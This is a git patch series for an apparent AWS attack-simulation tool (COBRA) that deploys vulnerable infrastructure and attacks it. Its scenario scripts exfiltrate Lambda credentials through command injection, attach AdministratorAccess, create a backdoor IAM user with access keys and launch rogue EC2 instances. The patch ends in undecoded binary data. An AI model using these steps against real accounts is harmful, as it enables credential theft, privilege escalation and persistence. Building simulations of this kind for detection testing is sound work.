+ + + ''' + + with open("cobra-as2-report.html", "w+") as file: + file.write(html_template) + + + print("HTML report generated successfully.") + webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') \ No newline at end of file diff --git a/scenarios_ng/scenario_2/scenario_2.py b/scenarios_ng/scenario_2/scenario_2.py new file mode 100644 index 0000000..3941675 --- /dev/null +++ b/scenarios_ng/scenario_2/scenario_2.py @@ -0,0 +1,116 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +from .report.report import gen_report_2 + +from core.scenario import BaseScenario + + +class Scenario2(BaseScenario): + + +def scenario_2_destroy(): + with open("./core/aws-scenario-2-output.json", "r") as file: + data = json.load(file) + + LAMBDA_ROLE_NAME = data["lambda-role-name"] + + print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) + subprocess.call("aws iam delete-user --user-name devops", shell=True) + + subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) + subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + + subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi destroy", shell=True) + + +def scenario_2_execute(): + print("-"*30) + print(colored("Executing Scenraio 2 : Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence ", color="red")) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + file_path = "./core/aws-scenario-2-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi up -s aws-scenario-2 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack -s aws-scenario-2 output --json >> ../../../core/aws-scenario-2-output.json", shell=True) + + with open("./core/aws-scenario-2-output.json", "r") as file: + data = json.load(file) + + API_GW_URL = data["apigateway-rest-endpoint"] + LAMBDA_ROLE_NAME = data["lambda-role-name"] + API_GW_ID = data["api-gateway-id"] + LAMBDA_FUNC_ARN = data["lambda-func-name"] + + print(colored("Exploiting the Application on API GW", color="red")) + loading_animation() + print("-"*30) + + print(colored("Detected OS Injection through API GW, lambda backend, attempting credential exfil", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("curl '"+API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) + print(colored("Successfuly Exifiltrated Lambda Role Creds", color="red")) + loading_animation() + print("-"*30) + + creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" + subprocess.call(""+creds+" && aws sts get-caller-identity", shell=True) + + print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) + subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) + sleep_duration = 60 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + # Loop until sleep_duration is reached + while sleep_duration > 0: + # Sleep for a shorter interval to update the progress bar + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + # Update the progress bar with the elapsed time + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) + + #Backdoor IAM User + print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) + loading_animation() + print("-"*30) + subprocess.call(""+creds+" && aws iam create-user --user-name devops", shell=True) + subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) + subprocess.call(""+creds+" && aws iam create-access-key --user-name devops", shell=True) + + + #Backdoor Role + # print(colored("Creating a Backdoor Role which can be assumed from custom AWS account", color="red")) + # loading_animation() + # print("-"*30) + # subprocess.call(""+creds+" && aws iam create-role --role-name monitoring-metrics --assume-role-policy-document file://infra/scenario-2/assume-role-trust-policy.json", shell=True) + # subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name monitoring-metrics", shell=True) + + + gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME) + + subprocess.call("rm token.txt", shell=True) \ No newline at end of file From 0715dad717d1b1a22e3be2b42a8fe327065ddef2 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Mon, 29 Jul 2024 07:06:54 -0500 Subject: [PATCH 75/76] Clean up unneeded code, various other cleanup --- core/helpers.py | 55 ------------------------------------------------- core/main_ng.py | 53 ----------------------------------------------- 2 files changed, 108 deletions(-) delete mode 100644 core/main_ng.py diff --git a/core/helpers.py b/core/helpers.py index df53f54..f6e2cd7 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -1,22 +1,15 @@ #! /usr/bin/env python # -*- coding: utf-8 -*- import os -from pathlib import Path, PurePath import pyfiglet import re import subprocess -import re -from time import sleep import time from pathlib import Path, PurePath from termcolor import colored from time import sleep -import pyfiglet -import requests -import yaml -from tqdm import tqdm from tqdm import tqdm import requests import yaml @@ -64,54 +57,6 @@ def generate_ssh_key(): return key_path, key_path + ".pub" -def slugify(s): - s = s.lower().strip() - s = re.sub(r'[^\w\s-]', '', s) - s = re.sub(r'[\s_-]+', '-', s) - s = re.sub(r'^-+|-+$', '', s) - return s - - -def http_request(url, method='GET', headers={}): - resp = requests.request(method, url) - return resp - - -def get_scenario_list(): - """Get a list of scenarios for selection from command line. - """ - scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' - scenarios_list = [] - for path in Path(scenarios_path).glob('*'): - if os.path.isdir(path): - scenarios_list.append(PurePath(path).name) - scenarios_list.sort() - return scenarios_list - - -def get_scenarios_config(): - """Create dict containing scenario config data from every entry in - scenarios directory (title, description, etc.) - """ - scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' - scenarios_config = {} - for path in Path(scenarios_path).glob('*'): - if os.path.isdir(path): - scenario_name = PurePath(path).name - scenario_path = Path(scenarios_path) / scenario_name - config_path = Path(scenario_path, '_files', 'config.yaml') - with open(config_path, 'r') as file_: - config = yaml.load(file_, Loader=yaml.SafeLoader) - scenarios_config[scenario_name] = config - return scenarios_config - - -def print_ascii_art(text): - ascii_art = pyfiglet.figlet_format(text) - print(colored(ascii_art, color="cyan")) - - - def slugify(s): """Return a slug of a string, e.g. My Example becomes my-example""" s = s.lower().strip() diff --git a/core/main_ng.py b/core/main_ng.py deleted file mode 100644 index 0bbe260..0000000 --- a/core/main_ng.py +++ /dev/null @@ -1,53 +0,0 @@ -from termcolor import colored - -from core.scenario import Scenario -from core.helpers import print_ascii_art, get_scenarios_config - - -def select_attack_scenario(cloud_provider): - scenarios_config = get_scenarios_config() - keys = list(scenarios_config.keys()) - keys.sort() - print(colored('Select Attack Scenario of %s:', color='yellow') % cloud_provider) - choices = [] - for key in keys: - index = int(key[-1:]) - choices.append(index) - print(colored('{}. {}: {}'.format( - index, scenarios_config[key]['title'], scenarios_config[key]['description']), - color='green')) - while True: - try: - choice = int(input(colored('Enter your choice: ', color='yellow'))) - if choice not in choices: - raise ValueError(colored('Invalid choice.', color='red')) - return choice - except ValueError as e: - print(e) - - -def main(cloud_provider, action, simulation, scenario): - tool_name = 'C O B R A' - print_ascii_art(tool_name) - scenario_choice = select_attack_scenario(cloud_provider) - scenario = Scenario(scenario_choice) - if action == 'launch': - if simulation: - # TODO: what to do with cloud provider? - scenario.setup() - scenario.attack() - scenario.destroy() - scenario.generate_report() # TODO: not implemented - elif action == 'status': - # TODO - # subprocess.call('cd ./scenarios/scenario_2/infra/ && pulumi stack ls', shell=True) - pass - elif action == 'destroy': - scenario.destroy() - pass - else: - print('No options provided. --help to know more') - - -if __name__ == '__main__': - main() From 04c37d906224045dd12820a3e127fc78dd30dd0d Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Wed, 4 Sep 2024 15:32:55 -0500 Subject: [PATCH 76/76] Add SSH helper, refactor helpers --- cobra.py | 2 +- core/main.py | 4 +- core/scenario.py | 20 +++-- helpers/__init__.py | 0 core/helpers.py => helpers/main.py | 24 +++-- helpers/ssh.py | 32 +++++++ scenarios_ng/scenario_0/attack.py | 4 +- scenarios_ng/scenario_0/infra/main.py | 3 + scenarios_ng/scenario_1/attack.py | 65 +++++++------- scenarios_ng/scenario_1/infra/extra.py | 10 +++ scenarios_ng/scenario_2/attack.py | 2 +- scenarios_ng/scenario_2/scenario_2.py | 116 ------------------------- 12 files changed, 116 insertions(+), 166 deletions(-) create mode 100644 helpers/__init__.py rename core/helpers.py => helpers/main.py (87%) create mode 100644 helpers/ssh.py delete mode 100644 scenarios_ng/scenario_2/scenario_2.py diff --git a/cobra.py b/cobra.py index 310c70f..2116ae8 100644 --- a/cobra.py +++ b/cobra.py @@ -1,7 +1,7 @@ import argparse from core import main -from core.helpers import get_scenario_list +from helpers.main import get_scenario_list def parse_arguments(): diff --git a/core/main.py b/core/main.py index c89e50c..5ac79c5 100644 --- a/core/main.py +++ b/core/main.py @@ -3,8 +3,8 @@ """Module providing a class for encapsulating COBRA scenarios.""" from termcolor import colored -from core.helpers import print_ascii_art, get_scenarios_config from core.scenario import Scenario +from helpers.main import print_ascii_art, get_scenarios_config def select_attack_scenario(cloud_provider): @@ -39,7 +39,7 @@ def main(cloud_provider, action, simulation, scenario): if action == 'launch': if simulation: # TODO: what to do with cloud provider? - scenario.setup() + # scenario.setup() scenario.attack() # scenario.destroy() # TODO: ^^^ do we really want to destroy the infra immediately? diff --git a/core/scenario.py b/core/scenario.py index 3f165ab..c3ac57d 100644 --- a/core/scenario.py +++ b/core/scenario.py @@ -10,8 +10,8 @@ import yaml from pulumi import automation as auto -from core.helpers import slugify, pbar_sleep from core.report import get_report +from helpers.main import slugify, pbar_sleep class Scenario(object): @@ -36,9 +36,9 @@ def setup(self): """Deploy resources needed for the scenario.""" # TODO: logging instead of print here and elsewhere print(colored('Deploying scenario infrastructure', color='red')) + self._extra_action('extra_setup') self._deploy_infra() - if self.infra_mod: - self.infra_mod.deploy_additional_resources() + self._extra_action('deploy_additional_resources') def attack(self): """Run the attack scenario on the deployed infra/resources.""" @@ -62,8 +62,9 @@ def destroy(self): if self.infra_mod: with open(self.output_path, 'r') as f: data = json.load(f) - print(colored("Deleting manually created resources not tracked by Pulumi's state", color="red")) - self.infra_mod.destroy_additional_resources(data) + print(colored("Deleting manually created resources not tracked by Pulumi's state", color="red")) + self._extra_action('destroy_additional_resources', data) + self._extra_action('extra_teardown') def generate_report(self): """Generate report.""" @@ -108,6 +109,15 @@ def _destroy_infra(self): stack = self._get_stack() stack.destroy(on_output=print) + def _extra_action(self, action, args=None): + if hasattr(self.infra_mod, action): + func = getattr(self.infra_mod, action) + if args: + func(args) + else: + func() + # TODO: log warning if func doesn't exist? + def _get_config(self): config_path = Path(__file__).parent.parent \ / 'scenarios_ng' / self.scenario_label / '_files' / 'config.yaml' diff --git a/helpers/__init__.py b/helpers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/helpers.py b/helpers/main.py similarity index 87% rename from core/helpers.py rename to helpers/main.py index f6e2cd7..d410955 100644 --- a/core/helpers.py +++ b/helpers/main.py @@ -1,26 +1,30 @@ #! /usr/bin/env python # -*- coding: utf-8 -*- import os -import pyfiglet import re import subprocess import time +import logging from pathlib import Path, PurePath from termcolor import colored from time import sleep from tqdm import tqdm +import pyfiglet import requests import yaml +logging.basicConfig(level=logging.INFO) + -def loading_animation(): +def loading_animation(num_dec_secs=10): chars = "/—\\|" - for _ in range(10): + for _ in range(num_dec_secs): for char in chars: print(f"\rLoading {char}", end="", flush=True) time.sleep(0.1) + print('\r') def print_ascii_art(text): @@ -53,8 +57,9 @@ def generate_ssh_key(): # Generate the SSH key pair with open(os.devnull, 'w') as devnull: subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) + # TODO: use Python library to generate SSH key print("SSH Key Pair generated successfully!") - return key_path, key_path + ".pub" + # return key_path, key_path + ".pub" def slugify(s): @@ -103,7 +108,10 @@ def get_project_root(): return Path(__file__).parent.parent -def notify(msg): - print("-"*30) - print(colored(msg, color="red")) - loading_animation() +def notify(msg, animate=True): + # TODO: log to file as well as console, add formatter(s) + logging.info(msg) + # print("-"*30) + # print(colored(msg, color="red")) + if animate: + loading_animation() diff --git a/helpers/ssh.py b/helpers/ssh.py new file mode 100644 index 0000000..b4decbb --- /dev/null +++ b/helpers/ssh.py @@ -0,0 +1,32 @@ +import paramiko + + +class SSHClient(object): + + def __init__(self, host, username, keypath): + self.host = host + self.username = username + self.keypath = keypath + self.connection = None + + def connect(self): + pkey = paramiko.RSAKey.from_private_key_file(self.keypath) + self.connection = paramiko.SSHClient() + policy = paramiko.AutoAddPolicy() + # TODO: ^^^ is this the same as `ssh -o 'StrictHostKeyChecking accept-new'` ?? + self.connection.set_missing_host_key_policy(policy) + self.connection.connect(self.host, username=self.username, pkey=pkey) + + def exec(self, command): + stdin, stdout, stderr = self.connection.exec_command(command) + err = stderr.read().decode() + if err: + # TODO: consider custom Exception + raise Exception( + 'Error executing command in SSH session: {}'.format(err)) + else: + return stdout.read().decode() + + def disconnect(self): + if self.connection: + self.connection.close() diff --git a/scenarios_ng/scenario_0/attack.py b/scenarios_ng/scenario_0/attack.py index 278959f..531a645 100644 --- a/scenarios_ng/scenario_0/attack.py +++ b/scenarios_ng/scenario_0/attack.py @@ -1,11 +1,11 @@ -from core.helpers import http_request +from helpers.main import http_request, notify def attack(output): """Exfiltrate an S3 object from a public bucket.""" url = 'https://{}.s3.amazonaws.com/{}'.format( output['s3-bucket-id'], output['s3-object-id']) - print('Running attack scenario on {}'.format(url)) + notify('Running attack scenario on {}'.format(url)) # TODO: replace print with logging resp = http_request(url) if resp.status_code == 200: diff --git a/scenarios_ng/scenario_0/infra/main.py b/scenarios_ng/scenario_0/infra/main.py index 49352ec..55dd508 100644 --- a/scenarios_ng/scenario_0/infra/main.py +++ b/scenarios_ng/scenario_0/infra/main.py @@ -1,3 +1,6 @@ +# NOTE: This file is not actually used, it's left here as an example of using +# a `pulumi_program` function instead of a `__main__.py` module for +# deploying cloud resources via Pulumi import json import os diff --git a/scenarios_ng/scenario_1/attack.py b/scenarios_ng/scenario_1/attack.py index 250cae1..fed8b96 100644 --- a/scenarios_ng/scenario_1/attack.py +++ b/scenarios_ng/scenario_1/attack.py @@ -1,20 +1,8 @@ -import subprocess - -from core.helpers import notify, pbar_sleep +from helpers.main import notify, pbar_sleep +from helpers.ssh import SSHClient def attack(data): - - notify('Bringing up the Vulnerable Application') - sleep_duration = 300 - pbar_sleep(sleep_duration) - - # TODO: review notifications to ensure they line up with what's really going on - # TODO: replace subprocess calls with programmatic structures that can - # interact with the output and respond appropriately - notify('Export Meta Data of Infra') - notify('Get into the attacker machine - Tor Node') - ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] WEB_SERVER_PUBLIC_IP = data["Web Server Public IP"] SUBNET_ID = data["Subnet ID"] @@ -22,32 +10,47 @@ def attack(data): KEY_PAIR_NAME = data["Key Pair Name"] REGION = data["Region"] INSTANCE_NAME = 'Cobra-Anomalous' + print("Web Server Public IP: ", WEB_SERVER_PUBLIC_IP) + # TODO: review notifications to ensure they line up with what's really going on + notify('Bringing up the Vulnerable Application') + # TODO: query resources for readiness rather than use estimated 5 minute wait time + sleep_duration = 300 + pbar_sleep(sleep_duration) + notify('Export Meta Data of Infra') + notify('Get into the attacker machine - Tor Node') notify('Running exploit on Remote Web Server') - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./files/var/ssh/id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'sudo python3 exploit.py "+WEB_SERVER_PUBLIC_IP+" > /home/ubuntu/.aws/credentials'", shell=True) - + ssh_client = SSHClient( + ATTACKER_SERVER_PUBLIC_IP, 'ubuntu', './files/var/ssh/id_rsa') + ssh_client.connect() + ssh_client.exec( + 'sudo python3 exploit.py {} > /home/ubuntu/.aws/credentials'.format( + WEB_SERVER_PUBLIC_IP + ) + ) notify('Initiate EC2 takeover, got Shell Access') notify('Exfiltrate Node Role Credentials and loading Creds in Attackers Machine') notify('Role Details') - - subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./files/var/ssh/id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'aws sts get-caller-identity'", shell=True) - - notify('Anomalous Infra Rollout') + ssh_client.exec('aws sts get-caller-identity') + # TODO: ^^^ is this necessary? not doing anything with the output + notify('Anomalous Infra Rollout') aws_command = ( - f"aws ec2 run-instances --image-id {AMI_ID} --instance-type t2.micro --key-name {KEY_PAIR_NAME} --subnet-id {SUBNET_ID} --region {REGION} --tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' | jq -r '.Instances[].InstanceId'" + f"aws ec2 run-instances --image-id {AMI_ID} " + f"--instance-type t2.micro " + f"--key-name {KEY_PAIR_NAME} " + f"--subnet-id {SUBNET_ID} " + f"--region {REGION} " + f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' " + f"| jq -r '.Instances[].InstanceId'" ) - # Construct the full SSH command with jq and xargs - ssh_command = (f"ssh -o StrictHostKeyChecking=accept-new -i ./files/var/ssh/id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{aws_command}\" ") - - # Execute the command - try: - instance_id = subprocess.check_output(ssh_command, shell=True, text=True) - print(instance_id) - except subprocess.CalledProcessError as e: - print(f"Command failed with error: {e}") + instance_id = ssh_client.exec(aws_command) + notify('Instance ID is: {}'.format(instance_id), False) + ssh_client.disconnect() + # TODO: how to handle errors? - # TODO: should "unmanaged" resources be added via pulumi import somehow? See infra/extra.py + # TODO: should "unmanaged" resources be added via pulumi import somehow? For now the below + # has been translated to boto3 commands in infra/extra.py # subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress > /dev/null 2>&1", shell=True) # TODO: only return true if attack succeeded? diff --git a/scenarios_ng/scenario_1/infra/extra.py b/scenarios_ng/scenario_1/infra/extra.py index 3a046f3..2596d8b 100644 --- a/scenarios_ng/scenario_1/infra/extra.py +++ b/scenarios_ng/scenario_1/infra/extra.py @@ -1,5 +1,15 @@ import boto3 +from helpers.main import generate_ssh_key + + +def extra_setup(): + generate_ssh_key() + + +def extra_teardown(): + pass + def deploy_additional_resources(): pass diff --git a/scenarios_ng/scenario_2/attack.py b/scenarios_ng/scenario_2/attack.py index 02f0fd3..f8239b6 100644 --- a/scenarios_ng/scenario_2/attack.py +++ b/scenarios_ng/scenario_2/attack.py @@ -1,7 +1,7 @@ import subprocess from termcolor import colored -from core.helpers import loading_animation, pbar_sleep +from helpers.main import loading_animation, pbar_sleep def attack(data): diff --git a/scenarios_ng/scenario_2/scenario_2.py b/scenarios_ng/scenario_2/scenario_2.py deleted file mode 100644 index 3941675..0000000 --- a/scenarios_ng/scenario_2/scenario_2.py +++ /dev/null @@ -1,116 +0,0 @@ -import os -import pyfiglet -import time -import subprocess -import json -from tqdm import tqdm -from time import sleep -from termcolor import colored -from core.helpers import generate_ssh_key -from core.helpers import loading_animation -from .report.report import gen_report_2 - -from core.scenario import BaseScenario - - -class Scenario2(BaseScenario): - - -def scenario_2_destroy(): - with open("./core/aws-scenario-2-output.json", "r") as file: - data = json.load(file) - - LAMBDA_ROLE_NAME = data["lambda-role-name"] - - print(colored("Deleting Manually Created resources - resources which are not tracked by Pulumi's State", color="red")) - loading_animation() - print("-"*30) - - subprocess.call("aws iam detach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - subprocess.call("aws iam list-access-keys --user-name devops | jq -r '.AccessKeyMetadata[0].AccessKeyId' | xargs -I {} aws iam delete-access-key --user-name devops --access-key-id {}", shell=True) - subprocess.call("aws iam delete-user --user-name devops", shell=True) - - subprocess.call("aws iam list-role-policies --role-name "+LAMBDA_ROLE_NAME+" | jq -r '.PolicyNames[]' | xargs -I {} aws iam delete-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-name {}", shell=True) - subprocess.call("aws iam detach-role-policy --role-name "+LAMBDA_ROLE_NAME+" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi destroy", shell=True) - - -def scenario_2_execute(): - print("-"*30) - print(colored("Executing Scenraio 2 : Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence ", color="red")) - - print(colored("Rolling out Infra", color="red")) - loading_animation() - print("-"*30) - - file_path = "./core/aws-scenario-2-output.json" - if os.path.exists(file_path): - os.remove(file_path) - print("File '{}' found and deleted.".format(file_path)) - else: - print("File '{}' not found.".format(file_path)) - - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi up -s aws-scenario-2 -y", shell=True) - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack -s aws-scenario-2 output --json >> ../../../core/aws-scenario-2-output.json", shell=True) - - with open("./core/aws-scenario-2-output.json", "r") as file: - data = json.load(file) - - API_GW_URL = data["apigateway-rest-endpoint"] - LAMBDA_ROLE_NAME = data["lambda-role-name"] - API_GW_ID = data["api-gateway-id"] - LAMBDA_FUNC_ARN = data["lambda-func-name"] - - print(colored("Exploiting the Application on API GW", color="red")) - loading_animation() - print("-"*30) - - print(colored("Detected OS Injection through API GW, lambda backend, attempting credential exfil", color="red")) - loading_animation() - print("-"*30) - - subprocess.call("curl '"+API_GW_URL+"?query=env' | grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN >> token.txt", shell=True) - print(colored("Successfuly Exifiltrated Lambda Role Creds", color="red")) - loading_animation() - print("-"*30) - - creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" - subprocess.call(""+creds+" && aws sts get-caller-identity", shell=True) - - print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) - subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) - sleep_duration = 60 - with tqdm(total=sleep_duration, desc="Loading") as pbar: - # Loop until sleep_duration is reached - while sleep_duration > 0: - # Sleep for a shorter interval to update the progress bar - sleep_interval = min(1, sleep_duration) - sleep(sleep_interval) - - # Update the progress bar with the elapsed time - pbar.update(sleep_interval) - sleep_duration -= sleep_interval - - #subprocess.call("curl '"+API_GW_URL+"?query=ping'", shell=True) - - #Backdoor IAM User - print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) - loading_animation() - print("-"*30) - subprocess.call(""+creds+" && aws iam create-user --user-name devops", shell=True) - subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - subprocess.call(""+creds+" && aws iam create-access-key --user-name devops", shell=True) - - - #Backdoor Role - # print(colored("Creating a Backdoor Role which can be assumed from custom AWS account", color="red")) - # loading_animation() - # print("-"*30) - # subprocess.call(""+creds+" && aws iam create-role --role-name monitoring-metrics --assume-role-policy-document file://infra/scenario-2/assume-role-trust-policy.json", shell=True) - # subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name monitoring-metrics", shell=True) - - - gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME) - - subprocess.call("rm token.txt", shell=True) \ No newline at end of file

_c@Wh|q6;`w~m%B_C3N`T0<_QIUi&dsoAOk)T zb|myRkA;EMG9Q<>&QpQO$KxFCcrzZXJth4qt8V)d`t06CvVEYNC^)A6iHHXgR8cYk z;roYrS!Y#iobWQpM1uvp1UQU+fnkzQJY(x>4dl`Ez?D|EwFM#k9ucn7Hg*#2W#QoB zrD@trjTA0jU|-#}U&@6Jr(0w8touVt|B#1~u)G$90TqXAzDJ3RX3u$~#z3eTq}|>; z_$>gJ@V6QR^L`tq2QiQqaFHK>g&U!#{DD&1^VTI7K6s-UO{}epH^YjJD@Xbi>sJ_h zd1f{)9S*!)_Z~Oy!vl?l9EBV<FWhCE6HI@RM z>K>iLxGVw0Wil4+J(hqbx*BRvOa{0WeR?F&(tyF~ypZ1&w*h5FUR>666#kJCkZkTd zp4wN}FK-M6`tP36&2l>dF(|x^nf~nKXGePI&&vMXTds>!uN%DUz>T_(KS6=4wcwc} zPYj>|Y;>4xNzlcZY|t_RFgp6>ErbC#iTP%1-D`8exWQoWvpa%gk0> zvZzif`2$$cd8yjt;1Jl%k~XrfY^`H^dY0>xN00;hQ*OuEgFiGm*YmE9AUSKGqADv@J;|h?Fo;|2D}r`)mM5x82h=&%6?S}eN$kVy-mob@VrHQytq+Q zyS+Jdp>2*oqVz)CLn4*zo4KsBfo1s%wlD^nbKL0>-%*|`XRVO8{SDLm0U{{Z;Z!Y^ z+6Dk2tqg$6Q#nsV9meYZ{lw)`M1jdQ_ z_FRNVv;Cz5th!+_i?B!j1Vc4GwyAeC!RPt{v=uIe!J|=XZ`XOVZ}U+Yrh`wny+vdX zW-d=NLkYN|ibixS`1IrQ4A4=rCvnu;9K}kV-@l{!A5GV_r7W{VUx^$pMFd0yL`C$D zC`b^=@bqW*eE(U?8D|uc(4o3&2PFBK5b6Al*`4UG)`d3{JmFl5Z)U$iLV!#eA#}v> z^pmRBumgz#^+um*hIUpp zq!0UylwyA$I-#cHI4=Paire;UpVS74u6Lb=feD57_}BaihLGTPC#;>D&n_?_Zwahg zwT(rg7O>n@;GZa+&?*i`o`1m1>63+Zd=JSTcB_Tl3LzDy*?bHm9+__ga^RcTsF?51QY~lw#x9+wZW>Sjqbg z7rnu&`{pd^OSAd`U#)!4|<=DA!jT@T>-~5SM z5RM$C)fTLV4%(*}dgKeC?t@onAq`ZlGyUnTf7?AY9&I14_D@O-tJkwnpv~d5?GLd( zms4fNbvl{&&gvdRy=F6_!T;Ewl}O>D-R4=6(vys(k2xCQw0V8`i)9}?x{6Ho;hmR6 znW`f@_V{O;UsmaH(@$;6an&Ve3uaTFiD&V^Q(b}F-;g=3!@2P5eS$K>`#z^o^wNa~ z9Ix!TcL$AYz91{0t^uiqnU`p#io$d2k_Ze}TuHngQ1D)KrXpQWJkbH0)U>?ed^pr) z@Vg~CL5(TD`en1%&)pRuA3RiIoegK>uuWRcytVaP%&j&q_3JP`p73`+!rrd1r27#U zPumhGrRp$yj+6R(&B)Yv*~|=DYWbO2t{|9voC}akadEqy@0C;UZxZC4-OF1x&$lIh zzFqaVy^qCO=hs+o8sqhE!xo_n9xLGf9h|%=X)En?a(#tKbN`)uGf?$s@|F+jL2|9=-~l-YV?{Zh5G@)l}F$&Cr&-EW!C^e0{wD~|t`)piI38~xAzZn5F9hytd@q;cy?xK0$uW=K z)}1N|oJ6FkDAj{Y$TkcE+`AB1d#j>vWw z;`Bs`w60bCeq(PNNFDJFkp>0GM;FD?FM3ncLr+%jte|~8vi{AHdp5i@h|;-%Y+^>Q zQjnJEGGaukrrc*G}TqBN@%tnf}7%Fzne1Isr`i zeZVYYFaLty*jx_abdzpHADj0ZS(Zv+uO5`%=1O&IXFf`$_;BtNptO)^8Xah>%)NfUF@(t&DBc|EzrN(T@9+5V$S8rw?zpqe_REO58y?Cv<1}u4 z*QZmh9eReDk$BSFCw`F=dci#ePk2;v&|tx$B@i%8YwOP*fvg*irGdv$*9?t`NknQV zY?Buq8~@rLNo%;L(Ea%b;dqVZ6RY|fxHHFH>E5t($ZWXf?Rl^qyrG~5?H;>reYh0L` zUrewD5}tYsghLPC_IOf0@279`@bTz_0qTV+z2|)wfQ8s)Na<7|$0v{$SKr~8!;nj)3)$TscT)-$ za8C7y+5OFw=~8_kV0i*(J*~M?sb!94J?w$sMLzo8i;w`s>_hsLP)RBrA;h2b2%1bm zHBwKb`+VW(P31Led4^d9rQ-JX&Fi_R&`-o^8IPBx`lg|QH#)`GQFmypG`;V+~>*pS^kJlR%<)ak2)xx!Z>I9=|#F${O^`rT&`hA%qkLOkhQoaueChd626!eJCv z93BPC#BuOntm=4Gm}SDz8s>92E}*0&92N1}xdU{h=)Ud65w=}?MTDh_+r})6yH>T@Q66w-j(Yk2nX2v@ z5_sidB44{HsNoZ1l1aqdILT|jIiyy-{n=c=Xk=`6D7bpZ*Kf}SMq0C{bFTm1Tlw&E zn(87hcIUMDX-~r;jsEk1Gc%RR`c>M)zIeU^9Qz5D!)}cZP$9q;SNu>l{Y9O~f-RpA zF2h?)jq=T0em3s1wtr=IEZd93r9JMBwDAdCBl&HYWs(n$qf7R{w4t@{!>{XBZm-9?hilg3(#H8OOc0xt2!;=(D 